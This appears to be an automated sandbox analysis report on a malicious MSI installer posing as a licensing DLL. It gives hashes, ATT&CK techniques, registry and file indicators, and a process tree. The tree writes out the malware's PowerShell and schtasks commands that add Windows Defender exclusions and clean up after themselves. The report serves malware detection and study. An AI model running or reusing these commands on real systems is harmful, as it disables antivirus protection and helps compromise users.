325bdb88095b07af4d2cca7aa033a0372e200b06f826a2225c3fed007db677c7

Analysis

max time kernel
139s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 21:34

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General

Target
install_b6j007.msi
Size 5.8MB
Sample260803-1eyrjscl7x
SHA256 325bdb88095b07af4d2cca7aa033a0372e200b06f826a2225c3fed007db677c7
MD5 8a5ec3eba15eda8895f4be5cf3b155a8
SHA1 3d1b739505424bf1e6f2a4d8b0659abf79bbba83
SHA512 9aeff36069f7c174ea604546ad9fd60fea26bafb766eeffcdf312e811d211448b03cba992e0279a8de0adcd25564f66e5116f7e9a8ab2fb58b0aa1259c07ba25
SSDEEP 98304:6J9KtA6QN/1ps9nU7s4y/vT41r6J/uGlpOeKIsRUo2zyyXxy319:49VN/A9nNMd6lZjiIsao2fw319
TLSH
T1AA563382B9CA73B0D45BD3709522B55C722DBFC0EEB51C1B76A9360C1E37B0518BA35A
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence privilege_escalation ransomware trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 8 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4556	powershell.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 1 IoCs

pid	Process
2272	BlJkD4.exe

Loads dropped DLL 2 IoCs

pid	Process
4288	MsiExec.exe
2272	BlJkD4.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4100	icacls.exe
3168	icacls.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\nxcgnn\\BlJkD4.exe\""	BlJkD4.exe

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
10	4288	MsiExec.exe
11	4288	MsiExec.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe

Indicator Removal: Clear Persistence 1 TTPs 6 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
5368	cmd.exe
4504	cmd.exe
2880	cmd.exe
2356	cmd.exe
2780	cmd.exe
2224	cmd.exe

Drops file in System32 directory 7 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049	MsiExec.exe
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	BlJkD4.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049	MsiExec.exe

Drops file in Program Files directory 9 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\d03AaO	BlJkD4.exe
File created	C:\Program Files (x86)\d03AaO\zo6yyK.exe	BlJkD4.exe
File created	C:\Program Files (x86)\d03AaO\thumbs.db	BlJkD4.exe
File opened for modification	C:\Program Files (x86)\d03AaO\zo6yyK.exe	BlJkD4.exe
File opened for modification	C:\Program Files (x86)\d03AaO\thumbs.db	BlJkD4.exe
File created	C:\Program Files (x86)\d03AaO\XPSPLOG.dll	BlJkD4.exe
File created	C:\Program Files (x86)\d03AaO\image.png	BlJkD4.exe
File opened for modification	C:\Program Files (x86)\d03AaO\XPSPLOG.dll	BlJkD4.exe
File opened for modification	C:\Program Files (x86)\d03AaO\image.png	BlJkD4.exe

Drops file in Windows directory 13 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\~DF14BC73AF83C66348.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI6C2D.tmp	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI6CCB.tmp	msiexec.exe
File created	C:\Windows\Installer\e596673.msi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF0393BA19130D22DB.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DFC9DF1D6600C76CBC.TMP	msiexec.exe
File created	C:\Windows\Installer\e596671.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e596671.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF5FEAF5373A547E79.TMP	msiexec.exe
File created	C:\Windows\Installer\SourceHash{B0831565-6686-6851-9C74-E6F739A50195}	msiexec.exe

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1416	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs

persistence privilege_escalation

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
4856	msiexec.exe

Executes a command shell one-liner 1 TTPs 12 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
480	cmd.exe
3372	cmd.exe
5252	cmd.exe
5988	cmd.exe
3740	cmd.exe
5556	cmd.exe
4436	cmd.exe
2632	cmd.exe
2592	cmd.exe
988	cmd.exe
4588	cmd.exe
700	cmd.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 000000000400000067831fc6f5c7bf350000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c012000000000000000000000000270101000088380167831fc60000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e8410167831fc6000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e367831fc600000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e667831fc600000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	MsiExec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	MsiExec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	MsiExec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	MsiExec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	MsiExec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe

Modifies registry class 22 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\Version = "84017285"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\AdvertiseFlags = "388"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\DeploymentFlags = "3"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\Clients = 3a0000000000	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\Assignment = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\DF0DC009059FB39AE56CA70DA425EB38	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\DF0DC009059FB39AE56CA70DA425EB38\5651380B68661586C9476E7F935A1059	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\5651380B68661586C9476E7F935A1059	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\AuthorizedLUAApp = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\Net	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\Media\1 = ";"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\5651380B68661586C9476E7F935A1059\UuueatYAD	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\ProductName = "UNITAT Licensing Dll"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\PackageCode = "8F2DB760BF1DD7840A93D152F90C3783"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\InstanceType = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\PackageName = "install_b6j007.msi"	msiexec.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 6 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
416	schtasks.exe
1416	schtasks.exe
4340	schtasks.exe
4496	schtasks.exe
4976	schtasks.exe
5272	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4056	msiexec.exe
4056	msiexec.exe
4288	MsiExec.exe
4288	MsiExec.exe
4288	MsiExec.exe
4288	MsiExec.exe
4288	MsiExec.exe
4288	MsiExec.exe
4288	MsiExec.exe
4288	MsiExec.exe
4288	MsiExec.exe
4288	MsiExec.exe
4288	MsiExec.exe
4288	MsiExec.exe
4288	MsiExec.exe
4288	MsiExec.exe
4288	MsiExec.exe
4288	MsiExec.exe
4288	MsiExec.exe
4288	MsiExec.exe
4288	MsiExec.exe
4288	MsiExec.exe
4288	MsiExec.exe
4288	MsiExec.exe
4288	MsiExec.exe
4288	MsiExec.exe
4288	MsiExec.exe
4288	MsiExec.exe
4288	MsiExec.exe
4288	MsiExec.exe
4288	MsiExec.exe
4288	MsiExec.exe
4288	MsiExec.exe
4288	MsiExec.exe
4288	MsiExec.exe
4288	MsiExec.exe
4288	MsiExec.exe
4288	MsiExec.exe
2272	BlJkD4.exe
2272	BlJkD4.exe
2272	BlJkD4.exe
2272	BlJkD4.exe
2272	BlJkD4.exe
2272	BlJkD4.exe
2272	BlJkD4.exe
2272	BlJkD4.exe
2272	BlJkD4.exe
2272	BlJkD4.exe
2272	BlJkD4.exe
2272	BlJkD4.exe
2272	BlJkD4.exe
2272	BlJkD4.exe
2272	BlJkD4.exe
2272	BlJkD4.exe
2272	BlJkD4.exe
2272	BlJkD4.exe
2272	BlJkD4.exe
2272	BlJkD4.exe
2272	BlJkD4.exe
2272	BlJkD4.exe
2272	BlJkD4.exe
2272	BlJkD4.exe
2272	BlJkD4.exe
2272	BlJkD4.exe

Suspicious behavior: LoadsDriver 6 IoCs

pid	Process
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4856	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4856	msiexec.exe
Token: SeSecurityPrivilege	4056	msiexec.exe
Token: SeCreateTokenPrivilege	4856	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	4856	msiexec.exe
Token: SeLockMemoryPrivilege	4856	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4856	msiexec.exe
Token: SeMachineAccountPrivilege	4856	msiexec.exe
Token: SeTcbPrivilege	4856	msiexec.exe
Token: SeSecurityPrivilege	4856	msiexec.exe
Token: SeTakeOwnershipPrivilege	4856	msiexec.exe
Token: SeLoadDriverPrivilege	4856	msiexec.exe
Token: SeSystemProfilePrivilege	4856	msiexec.exe
Token: SeSystemtimePrivilege	4856	msiexec.exe
Token: SeProfSingleProcessPrivilege	4856	msiexec.exe
Token: SeIncBasePriorityPrivilege	4856	msiexec.exe
Token: SeCreatePagefilePrivilege	4856	msiexec.exe
Token: SeCreatePermanentPrivilege	4856	msiexec.exe
Token: SeBackupPrivilege	4856	msiexec.exe
Token: SeRestorePrivilege	4856	msiexec.exe
Token: SeShutdownPrivilege	4856	msiexec.exe
Token: SeDebugPrivilege	4856	msiexec.exe
Token: SeAuditPrivilege	4856	msiexec.exe
Token: SeSystemEnvironmentPrivilege	4856	msiexec.exe
Token: SeChangeNotifyPrivilege	4856	msiexec.exe
Token: SeRemoteShutdownPrivilege	4856	msiexec.exe
Token: SeUndockPrivilege	4856	msiexec.exe
Token: SeSyncAgentPrivilege	4856	msiexec.exe
Token: SeEnableDelegationPrivilege	4856	msiexec.exe
Token: SeManageVolumePrivilege	4856	msiexec.exe
Token: SeImpersonatePrivilege	4856	msiexec.exe
Token: SeCreateGlobalPrivilege	4856	msiexec.exe
Token: SeBackupPrivilege	2432	vssvc.exe
Token: SeRestorePrivilege	2432	vssvc.exe
Token: SeAuditPrivilege	2432	vssvc.exe
Token: SeBackupPrivilege	4056	msiexec.exe
Token: SeRestorePrivilege	4056	msiexec.exe
Token: SeRestorePrivilege	4056	msiexec.exe
Token: SeTakeOwnershipPrivilege	4056	msiexec.exe
Token: SeRestorePrivilege	4056	msiexec.exe
Token: SeTakeOwnershipPrivilege	4056	msiexec.exe
Token: SeRestorePrivilege	4056	msiexec.exe
Token: SeTakeOwnershipPrivilege	4056	msiexec.exe
Token: SeBackupPrivilege	5100	srtasks.exe
Token: SeRestorePrivilege	5100	srtasks.exe
Token: SeSecurityPrivilege	5100	srtasks.exe
Token: SeTakeOwnershipPrivilege	5100	srtasks.exe
Token: SeBackupPrivilege	5100	srtasks.exe
Token: SeRestorePrivilege	5100	srtasks.exe
Token: SeSecurityPrivilege	5100	srtasks.exe
Token: SeTakeOwnershipPrivilege	5100	srtasks.exe
Token: SeRestorePrivilege	4056	msiexec.exe
Token: SeTakeOwnershipPrivilege	4056	msiexec.exe
Token: SeRestorePrivilege	4056	msiexec.exe
Token: SeTakeOwnershipPrivilege	4056	msiexec.exe
Token: SeRestorePrivilege	4056	msiexec.exe
Token: SeTakeOwnershipPrivilege	4056	msiexec.exe
Token: SeRestorePrivilege	4056	msiexec.exe
Token: SeTakeOwnershipPrivilege	4056	msiexec.exe
Token: SeRestorePrivilege	4056	msiexec.exe
Token: SeTakeOwnershipPrivilege	4056	msiexec.exe
Token: SeRestorePrivilege	4056	msiexec.exe
Token: SeTakeOwnershipPrivilege	4056	msiexec.exe
Token: SeRestorePrivilege	4056	msiexec.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
4856	msiexec.exe
4856	msiexec.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
4856	msiexec.exe
4056	msiexec.exe
4288	MsiExec.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 4056 wrote to memory of 5100	4056	msiexec.exe	94
PID 4056 wrote to memory of 4288	4056	msiexec.exe	96
PID 2272 wrote to memory of 4556	2272	BlJkD4.exe	99
PID 2272 wrote to memory of 5368	2272	BlJkD4.exe	101
PID 2272 wrote to memory of 4504	2272	BlJkD4.exe	104
PID 5368 wrote to memory of 4976	5368	cmd.exe	106
PID 4504 wrote to memory of 5272	4504	cmd.exe	107
PID 5368 wrote to memory of 984	5368	cmd.exe	108
PID 5368 wrote to memory of 2076	5368	cmd.exe	110
PID 4504 wrote to memory of 2224	4504	cmd.exe	111
PID 2272 wrote to memory of 2880	2272	BlJkD4.exe	113
PID 4504 wrote to memory of 1632	4504	cmd.exe	114
PID 2880 wrote to memory of 416	2880	cmd.exe	117
PID 2880 wrote to memory of 3008	2880	cmd.exe	118
PID 2880 wrote to memory of 3168	2880	cmd.exe	121
PID 2272 wrote to memory of 2356	2272	BlJkD4.exe	123
PID 2356 wrote to memory of 1416	2356	cmd.exe	125
PID 2356 wrote to memory of 4280	2356	cmd.exe	126
PID 2356 wrote to memory of 200	2356	cmd.exe	128
PID 2632 wrote to memory of 4860	2632	cmd.exe	130
PID 4436 wrote to memory of 6024	4436	cmd.exe	131
PID 2272 wrote to memory of 2780	2272	BlJkD4.exe	132
PID 2780 wrote to memory of 4340	2780	cmd.exe	134
PID 2780 wrote to memory of 5936	2780	cmd.exe	135
PID 2780 wrote to memory of 1388	2780	cmd.exe	137
PID 5252 wrote to memory of 4544	5252	cmd.exe	139
PID 2592 wrote to memory of 1248	2592	cmd.exe	141

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\msiexec.exe
msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\install_b6j007.msi
1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:4856

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4056
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5100
- C:\Windows\System32\MsiExec.exe
  C:\Windows\System32\MsiExec.exe -Embedding 6AF47F056E25A77E848E0FD2A297E034 E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Badlisted process makes network request
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:4288

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:2432

C:\Users\Public\nxcgnn\BlJkD4.exe
"C:\Users\Public\nxcgnn\BlJkD4.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2272
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4556
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\nxcgnn\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5368
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\nxcgnn\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4976
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:984
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2076
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4504
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5272
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2224
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1632
- C:\Windows\System32\cmd.exe
